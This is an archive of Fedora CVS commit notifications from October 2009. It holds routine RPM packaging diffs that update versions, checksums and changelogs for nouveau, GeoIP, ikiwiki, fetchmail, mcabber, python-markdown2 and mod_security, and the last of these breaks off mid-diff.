 Subject: [PATCH 2/3] xv: only use bicubic filtering when scaling >=2x
@@ -35,5 +35,5 @@ index 3d1f146..e0efb41 100644
  	else
  		NV40_LoadFragProg(pScrn, &nv30_fp_yv12_bilinear);
 -- 
-1.6.4.4
+1.6.5.rc2
 

nouveau-multiple-xserver.patch:
 nv_driver.c |   85 ++++++++++++++++++++++++++++++++++++++++--------------------
 1 file changed, 57 insertions(+), 28 deletions(-)

Index: nouveau-multiple-xserver.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-multiple-xserver.patch,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- nouveau-multiple-xserver.patch	29 Sep 2009 01:38:15 -0000	1.18
+++ nouveau-multiple-xserver.patch	8 Oct 2009 06:29:02 -0000	1.19
@@ -1,4 +1,4 @@
-From e81556ab7611efd9977f16a00ee09a194eb5bce1 Mon Sep 17 00:00:00 2001
+From 29f3ff4f95c58a0632d5c7a927d8348917c83e23 Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <bskeggs at redhat.com>
 Date: Sun, 28 Jun 2009 20:35:54 +1000
 Subject: [PATCH 1/3] f12: hack to support multiple xserver instances
@@ -8,7 +8,7 @@ Subject: [PATCH 1/3] f12: hack to suppor
  1 files changed, 57 insertions(+), 27 deletions(-)
 
 diff --git a/src/nv_driver.c b/src/nv_driver.c
-index 879d971..e57a696 100644
+index 7763faa..53d8a63 100644
 --- a/src/nv_driver.c
 +++ b/src/nv_driver.c
 @@ -21,6 +21,7 @@
@@ -153,5 +153,5 @@ index 879d971..e57a696 100644
  	/* We don't need to allocate cursors / lut here if we're using
  	 * kernel modesetting
 -- 
-1.6.4.4
+1.6.5.rc2
 

nouveau-tile7000.patch:
 drmmode_display.c |    4 ++--
 nv_driver.c       |    7 ++++++-
 nv_type.h         |    3 ++-
 3 files changed, 10 insertions(+), 4 deletions(-)

Index: nouveau-tile7000.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-tile7000.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- nouveau-tile7000.patch	29 Sep 2009 01:38:15 -0000	1.6
+++ nouveau-tile7000.patch	8 Oct 2009 06:29:02 -0000	1.7
@@ -1,4 +1,4 @@
-From 682b24f8d6fb5053ed8b89cacaaca4dd25c03a16 Mon Sep 17 00:00:00 2001
+From 245b7bc4920a485b9e3ebe6e7e0dc9bf40da4744 Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <bskeggs at redhat.com>
 Date: Wed, 9 Sep 2009 16:26:25 +1000
 Subject: [PATCH 3/3] f12: use 0x7000 flags for scanout to avoid mixed tile mode corruption
@@ -10,10 +10,10 @@ Subject: [PATCH 3/3] f12: use 0x7000 fla
  3 files changed, 10 insertions(+), 3 deletions(-)
 
 diff --git a/src/drmmode_display.c b/src/drmmode_display.c
-index 82b86c4..1157221 100644
+index 3930814..5fbec9b 100644
 --- a/src/drmmode_display.c
 +++ b/src/drmmode_display.c
-@@ -443,7 +443,7 @@ drmmode_crtc_shadow_allocate(xf86CrtcPtr crtc, int width, int height)
+@@ -460,7 +460,7 @@ drmmode_crtc_shadow_allocate(xf86CrtcPtr crtc, int width, int height)
  
  	if (pNv->Architecture >= NV_ARCH_50) {
  		tile_mode = 4;
@@ -22,7 +22,7 @@ index 82b86c4..1157221 100644
  		ah = NOUVEAU_ALIGN(height, 1 << (tile_mode + 2));
  		pitch = NOUVEAU_ALIGN(width * drmmode->cpp, 64);
  	} else {
-@@ -1064,7 +1064,7 @@ drmmode_xf86crtc_resize(ScrnInfoPtr scrn, int width, int height)
+@@ -1067,7 +1067,7 @@ drmmode_xf86crtc_resize(ScrnInfoPtr scrn, int width, int height)
  
  	if (pNv->Architecture >= NV_ARCH_50 && pNv->wfb_enabled) {
  		tile_mode = 4;
@@ -32,7 +32,7 @@ index 82b86c4..1157221 100644
  		pitch = NOUVEAU_ALIGN(width * (scrn->bitsPerPixel >> 3), 64);
  	} else {
 diff --git a/src/nv_driver.c b/src/nv_driver.c
-index e57a696..e0c1c10 100644
+index 53d8a63..c06679b 100644
 --- a/src/nv_driver.c
 +++ b/src/nv_driver.c
 @@ -696,6 +696,7 @@ NVPreInitDRM(ScrnInfoPtr pScrn)
@@ -77,5 +77,5 @@ index ddf121c..6e1f2f3 100644
      struct nouveau_bo * scanout;
      struct nouveau_bo * offscreen;
 -- 
-1.6.4.4
+1.6.5.rc2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	29 Sep 2009 01:38:15 -0000	1.49
+++ sources	8 Oct 2009 06:29:02 -0000	1.50
@@ -1 +1 @@
-e98437442d84c9ca595adc6ae9665eff  xf86-video-nouveau-0.0.15-20090929gitdd8339f.tar.bz2
+78ecc78f09904532960c76c2766aec7e  xf86-video-nouveau-0.0.15-20091008git3f020b0.tar.bz2


Index: xorg-x11-drv-nouveau.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/xorg-x11-drv-nouveau.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- xorg-x11-drv-nouveau.spec	29 Sep 2009 01:38:15 -0000	1.61
+++ xorg-x11-drv-nouveau.spec	8 Oct 2009 06:29:02 -0000	1.62
@@ -7,8 +7,8 @@
 # git clone git://git.freedesktop.org/git/nouveau/xf86-video-nouveau
 # git-archive --format=tar --prefix=xf86-video-nouveau-0.0.10/ %{git_version} | bzip2 > xf86-video-nouveau-0.0.10-%{gitdate}.tar.bz2
 
-%define gitdate 20090929
-%define git_version dd8339f
+%define gitdate 20091008
+%define git_version 3f020b0
 
 %define snapshot %{gitdate}git%{git_version}
 
@@ -19,7 +19,7 @@ Name:      xorg-x11-drv-nouveau
 # need to set an epoch to get version number in sync with upstream
 Epoch:     1
 Version:   %{nouveau_version}
-Release:   13.%{snapshot}%{?dist}
+Release:   14.%{snapshot}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/nouveau.4*
 
 %changelog
+* Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-14.20091008git3f020b0
+- update from upstream, fixes various issues, especially with recent xservers
+
 * Tue Sep 29 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-13.20090929gitdd8339f
 - fix driver to work again with recent EXA changes
 



From mfleming at fedoraproject.org  Thu Oct  8 06:45:09 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Thu,  8 Oct 2009 06:45:09 +0000 (UTC)
Subject: rpms/GeoIP/F-11 GeoIP.spec,1.18,1.19
Message-ID: <20091008064509.993D511C00DB@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/GeoIP/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19412

Modified Files:
	GeoIP.spec 
Log Message:
* Thu Oct 08 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 1.4.6-2
Bump to fix EVR per bz# 526090



Index: GeoIP.spec
===================================================================
RCS file: /cvs/extras/rpms/GeoIP/F-11/GeoIP.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- GeoIP.spec	8 Mar 2009 11:26:02 -0000	1.18
+++ GeoIP.spec	8 Oct 2009 06:45:07 -0000	1.19
@@ -1,6 +1,6 @@
 Name: GeoIP           
 Version: 1.4.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: C library for country/city/organization to IP address or hostname mapping     
 Group: Development/Libraries         
 License: LGPLv2+
@@ -81,6 +81,9 @@ rm -rf %{buildroot}
 %{_libdir}/libGeoIPUpdate.so
 
 %changelog
+* Thu Oct 08 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 1.4.6-2
+Bump to fix EVR per bz# 526090
+
 * Sun Mar 08 2009 Michael Fleming <mfleming+rpm at enlartenment.com> - 1.4.6-1
 - Add geoiplookup6 man page
 - Update to 1.4.6



From thm at fedoraproject.org  Thu Oct  8 07:05:19 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 07:05:19 +0000 (UTC)
Subject: rpms/ikiwiki/devel .cvsignore, 1.27, 1.28 ikiwiki.spec, 1.30,
	1.31 import.log, 1.27, 1.28 sources, 1.27, 1.28
Message-ID: <20091008070519.5203311C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/ikiwiki/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24641/devel

Modified Files:
	.cvsignore ikiwiki.spec import.log sources 
Log Message:
Update to 3.14159265.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/devel/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	1 Sep 2009 18:46:58 -0000	1.27
+++ .cvsignore	8 Oct 2009 07:05:16 -0000	1.28
@@ -1 +1 @@
-ikiwiki_3.1415926.tar.gz
+ikiwiki_3.14159265.tar.gz


Index: ikiwiki.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/devel/ikiwiki.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- ikiwiki.spec	1 Sep 2009 18:46:58 -0000	1.30
+++ ikiwiki.spec	8 Oct 2009 07:05:17 -0000	1.31
@@ -1,5 +1,5 @@
 Name:           ikiwiki
-Version:        3.1415926
+Version:        3.14159265
 Release:        1%{?dist}
 Summary:        A wiki compiler
 
@@ -144,6 +144,9 @@ meta-wrapper in this package.
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.14159265-1
+- Update to 3.14159265.
+
 * Tue Sep  1 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.1415926-1
 - Update to 3.1415926 (fixes CVE-2009-2944, see bz 520543).
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/devel/import.log,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- import.log	1 Sep 2009 18:46:58 -0000	1.27
+++ import.log	8 Oct 2009 07:05:17 -0000	1.28
@@ -25,3 +25,4 @@ ikiwiki-3_14-1_fc11:HEAD:ikiwiki-3.14-1.
 ikiwiki-3_1415-1_fc11:HEAD:ikiwiki-3.1415-1.fc11.src.rpm:1247863227
 ikiwiki-3_141592-1_fc11:HEAD:ikiwiki-3.141592-1.fc11.src.rpm:1250094529
 ikiwiki-3_1415926-1_fc11:HEAD:ikiwiki-3.1415926-1.fc11.src.rpm:1251830777
+ikiwiki-3_14159265-1_fc11:HEAD:ikiwiki-3.14159265-1.fc11.src.rpm:1254985481


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	1 Sep 2009 18:46:58 -0000	1.27
+++ sources	8 Oct 2009 07:05:17 -0000	1.28
@@ -1 +1 @@
-b5f28d88ebc358347a14ad88cbac22e9  ikiwiki_3.1415926.tar.gz
+fc7bbbdbcd7fb68061944a3a8afb98df  ikiwiki_3.14159265.tar.gz



From vcrhonek at fedoraproject.org  Thu Oct  8 07:17:08 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu,  8 Oct 2009 07:17:08 +0000 (UTC)
Subject: rpms/fetchmail/devel .cvsignore, 1.21, 1.22 fetchmail.spec, 1.70,
	1.71 sources, 1.21, 1.22 fetchmail-6.3.11-regression.patch, 1.1, NONE
Message-ID: <20091008071708.8E2AA11C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/fetchmail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29239

Modified Files:
	.cvsignore fetchmail.spec sources 
Removed Files:
	fetchmail-6.3.11-regression.patch 
Log Message:
Update to fetchmail-6.3.12


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fetchmail/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	6 Aug 2009 08:27:45 -0000	1.21
+++ .cvsignore	8 Oct 2009 07:17:06 -0000	1.22
@@ -1,8 +1,2 @@
-fetchmail-6.3.7.tar.bz2
-fetchmail-6.3.7.tar.bz2.asc
-fetchmail-6.3.8.tar.bz2
-fetchmail-6.3.8.tar.bz2.asc
-fetchmail-6.3.9.tar.bz2
-fetchmail-6.3.9.tar.bz2.asc
-fetchmail-6.3.11.tar.bz2
-fetchmail-6.3.11.tar.bz2.asc
+fetchmail-6.3.12.tar.bz2
+fetchmail-6.3.12.tar.bz2.asc


Index: fetchmail.spec
===================================================================
RCS file: /cvs/extras/rpms/fetchmail/devel/fetchmail.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- fetchmail.spec	21 Aug 2009 13:22:44 -0000	1.70
+++ fetchmail.spec	8 Oct 2009 07:17:07 -0000	1.71
@@ -3,14 +3,11 @@
 
 Summary: A remote mail retrieval and forwarding utility
 Name: fetchmail
-Version: 6.3.11
-Release: 3%{?dist}
+Version: 6.3.12
+Release: 1%{?dist}
 Requires: procmail
 Source0: http://download.berlios.de/fetchmail/fetchmail-%{version}.tar.bz2
 Source1: http://download.berlios.de/fetchmail/fetchmail-%{version}.tar.bz2.asc
-# See http://bugs.gentoo.org/show_bug.cgi?id=280760
-# Upstream has commited this in fetchmail SVN repository already
-Patch0: fetchmail-6.3.11-regression.patch
 URL: http://fetchmail.berlios.de/
 # For a breakdown of the licensing, see COPYING
 License: GPL+ and Public Domain
@@ -48,7 +45,6 @@ need to have Python and Tk installed in 
 
 %prep
 %setup -q
-%patch0 -p1 -b .regression
 
 %build
 %configure --enable-POP3 --enable-IMAP --with-ssl --with-hesiod \
@@ -87,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Wed Oct  7 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 6.3.12-1
+- Update to fetchmail-6.3.12
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 6.3.11-3
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fetchmail/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	6 Aug 2009 08:27:45 -0000	1.21
+++ sources	8 Oct 2009 07:17:07 -0000	1.22
@@ -1,2 +1,2 @@
-43b28f296cc0024d3c727319eacae324  fetchmail-6.3.11.tar.bz2
-347a29dbce620e82ad48572a337715ed  fetchmail-6.3.11.tar.bz2.asc
+f7486d230ec6a2870650f3b7cf5671ac  fetchmail-6.3.12.tar.bz2
+1b4bfc5c59fa153f96559e2197fd747d  fetchmail-6.3.12.tar.bz2.asc


--- fetchmail-6.3.11-regression.patch DELETED ---



From thm at fedoraproject.org  Thu Oct  8 07:40:36 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 07:40:36 +0000 (UTC)
Subject: rpms/ikiwiki/F-12 .cvsignore, 1.27, 1.28 ikiwiki.spec, 1.30,
	1.31 import.log, 1.27, 1.28 sources, 1.27, 1.28
Message-ID: <20091008074036.3C6BF11C029B@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/ikiwiki/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1865/F-12

Modified Files:
	.cvsignore ikiwiki.spec import.log sources 
Log Message:
Update to 3.14159265.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	1 Sep 2009 18:46:58 -0000	1.27
+++ .cvsignore	8 Oct 2009 07:40:33 -0000	1.28
@@ -1 +1 @@
-ikiwiki_3.1415926.tar.gz
+ikiwiki_3.14159265.tar.gz


Index: ikiwiki.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-12/ikiwiki.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- ikiwiki.spec	1 Sep 2009 18:46:58 -0000	1.30
+++ ikiwiki.spec	8 Oct 2009 07:40:33 -0000	1.31
@@ -1,5 +1,5 @@
 Name:           ikiwiki
-Version:        3.1415926
+Version:        3.14159265
 Release:        1%{?dist}
 Summary:        A wiki compiler
 
@@ -144,6 +144,9 @@ meta-wrapper in this package.
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.14159265-1
+- Update to 3.14159265.
+
 * Tue Sep  1 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.1415926-1
 - Update to 3.1415926 (fixes CVE-2009-2944, see bz 520543).
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-12/import.log,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- import.log	1 Sep 2009 18:46:58 -0000	1.27
+++ import.log	8 Oct 2009 07:40:33 -0000	1.28
@@ -25,3 +25,4 @@ ikiwiki-3_14-1_fc11:HEAD:ikiwiki-3.14-1.
 ikiwiki-3_1415-1_fc11:HEAD:ikiwiki-3.1415-1.fc11.src.rpm:1247863227
 ikiwiki-3_141592-1_fc11:HEAD:ikiwiki-3.141592-1.fc11.src.rpm:1250094529
 ikiwiki-3_1415926-1_fc11:HEAD:ikiwiki-3.1415926-1.fc11.src.rpm:1251830777
+ikiwiki-3_14159265-1_fc11:F-12:ikiwiki-3.14159265-1.fc11.src.rpm:1254987607


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-12/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	1 Sep 2009 18:46:58 -0000	1.27
+++ sources	8 Oct 2009 07:40:33 -0000	1.28
@@ -1 +1 @@
-b5f28d88ebc358347a14ad88cbac22e9  ikiwiki_3.1415926.tar.gz
+fc7bbbdbcd7fb68061944a3a8afb98df  ikiwiki_3.14159265.tar.gz



From mfleming at fedoraproject.org  Thu Oct  8 07:42:48 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Thu,  8 Oct 2009 07:42:48 +0000 (UTC)
Subject: rpms/mcabber/devel .cvsignore, 1.6, 1.7 mcabber.spec, 1.14,
	1.15 sources, 1.6, 1.7
Message-ID: <20091008074248.D0DD711C00DB@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2478

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Oct 2008 11:20:12 -0000	1.6
+++ .cvsignore	8 Oct 2009 07:42:48 -0000	1.7
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/devel/mcabber.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mcabber.spec	21 Aug 2009 14:29:53 -0000	1.14
+++ mcabber.spec	8 Oct 2009 07:42:48 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           mcabber
-Version:        0.9.9
-Release:        5%{?dist}
+Version:        0.9.10
+Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 
 Group:          Applications/Internet
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.9-5
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Oct 2008 11:20:12 -0000	1.6
+++ sources	8 Oct 2009 07:42:48 -0000	1.7
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From thm at fedoraproject.org  Thu Oct  8 07:43:12 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 07:43:12 +0000 (UTC)
Subject: rpms/ikiwiki/F-11 .cvsignore, 1.26, 1.27 ikiwiki.spec, 1.28,
	1.29 import.log, 1.26, 1.27 sources, 1.26, 1.27
Message-ID: <20091008074312.7C6C011C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/ikiwiki/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2707/F-11

Modified Files:
	.cvsignore ikiwiki.spec import.log sources 
Log Message:
Update to 3.14159265.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-11/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	1 Sep 2009 19:02:25 -0000	1.26
+++ .cvsignore	8 Oct 2009 07:43:12 -0000	1.27
@@ -1 +1 @@
-ikiwiki_3.1415926.tar.gz
+ikiwiki_3.14159265.tar.gz


Index: ikiwiki.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-11/ikiwiki.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- ikiwiki.spec	1 Sep 2009 19:02:25 -0000	1.28
+++ ikiwiki.spec	8 Oct 2009 07:43:12 -0000	1.29
@@ -1,5 +1,5 @@
 Name:           ikiwiki
-Version:        3.1415926
+Version:        3.14159265
 Release:        1%{?dist}
 Summary:        A wiki compiler
 
@@ -144,6 +144,9 @@ meta-wrapper in this package.
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.14159265-1
+- Update to 3.14159265.
+
 * Tue Sep  1 2009 Thomas Moschny <thomas.moschny at gmx.de> - 3.1415926-1
 - Update to 3.1415926 (fixes CVE-2009-2944, see bz 520543).
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-11/import.log,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- import.log	1 Sep 2009 19:02:25 -0000	1.26
+++ import.log	8 Oct 2009 07:43:12 -0000	1.27
@@ -24,3 +24,4 @@ ikiwiki-3_12-1_fc11:F-11:ikiwiki-3.12-1.
 ikiwiki-3_1415-1_fc12:F-11:ikiwiki-3.1415-1.fc12.src.rpm:1247863732
 ikiwiki-3_141592-1_fc11:F-11:ikiwiki-3.141592-1.fc11.src.rpm:1250094991
 ikiwiki-3_1415926-1_fc11:F-11:ikiwiki-3.1415926-1.fc11.src.rpm:1251831564
+ikiwiki-3_14159265-1_fc11:F-11:ikiwiki-3.14159265-1.fc11.src.rpm:1254987771


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ikiwiki/F-11/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	1 Sep 2009 19:02:25 -0000	1.26
+++ sources	8 Oct 2009 07:43:12 -0000	1.27
@@ -1 +1 @@
-b5f28d88ebc358347a14ad88cbac22e9  ikiwiki_3.1415926.tar.gz
+fc7bbbdbcd7fb68061944a3a8afb98df  ikiwiki_3.14159265.tar.gz



From thm at fedoraproject.org  Thu Oct  8 08:07:49 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 08:07:49 +0000 (UTC)
Subject: rpms/python-markdown2/devel .cvsignore, 1.6, 1.7 import.log, 1.6,
	1.7 python-markdown2.spec, 1.9, 1.10 sources, 1.6, 1.7
Message-ID: <20091008080750.F302711C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/python-markdown2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9492/devel

Modified Files:
	.cvsignore import.log python-markdown2.spec sources 
Log Message:
Update to 1.0.1.15.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Jul 2009 15:48:54 -0000	1.6
+++ .cvsignore	8 Oct 2009 08:07:38 -0000	1.7
@@ -1 +1 @@
-markdown2-1.0.1.13.zip
+markdown2-1.0.1.15.zip


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	3 Sep 2009 15:57:38 -0000	1.6
+++ import.log	8 Oct 2009 08:07:38 -0000	1.7
@@ -4,3 +4,4 @@ python-markdown2-1_0_1_9-1_fc9:HEAD:pyth
 python-markdown2-1_0_1_11-1_fc9:HEAD:python-markdown2-1.0.1.11-1.fc9.src.rpm:1222984575
 python-markdown2-1_0_1_13-1_fc11:HEAD:python-markdown2-1.0.1.13-1.fc11.src.rpm:1247327308
 python-markdown2-1_0_1_13-3_fc11:HEAD:python-markdown2-1.0.1.13-3.fc11.src.rpm:1251993409
+python-markdown2-1_0_1_15-1_fc11:HEAD:python-markdown2-1.0.1.15-1.fc11.src.rpm:1254989197


Index: python-markdown2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/devel/python-markdown2.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- python-markdown2.spec	3 Sep 2009 15:57:38 -0000	1.9
+++ python-markdown2.spec	8 Oct 2009 08:07:38 -0000	1.10
@@ -3,8 +3,8 @@
 %define srcname markdown2
 
 Name:           python-%{srcname}
-Version:        1.0.1.13
-Release:        3%{?dist}
+Version:        1.0.1.15
+Release:        1%{?dist}
 Summary:        A fast and complete Python implementation of Markdown
 Group:          Development/Languages
 License:        MIT
@@ -68,6 +68,10 @@ cd test
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.15-1
+- Update to 1.0.1.15. Fixes three issues, two of them being
+  security-related.
+
 * Wed Sep  2 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-3
 - Patch syntax_color test case for older pygments version on rhel.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Jul 2009 15:48:54 -0000	1.6
+++ sources	8 Oct 2009 08:07:38 -0000	1.7
@@ -1 +1 @@
-855dff97a9cbffcf98f0ba395669e52f  markdown2-1.0.1.13.zip
+b55772f3303d9cf3cf24f7759ee3bca3  markdown2-1.0.1.15.zip



From mfleming at fedoraproject.org  Thu Oct  8 08:11:41 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Thu,  8 Oct 2009 08:11:41 +0000 (UTC)
Subject: rpms/mod_security/devel .cvsignore, 1.15, 1.16 mod_security.spec,
	1.32, 1.33 sources, 1.17, 1.18
Message-ID: <20091008081141.CF35A11C00DB@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11410

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Mar 2009 09:39:49 -0000	1.15
+++ .cvsignore	8 Oct 2009 08:11:41 -0000	1.16
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/devel/mod_security.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
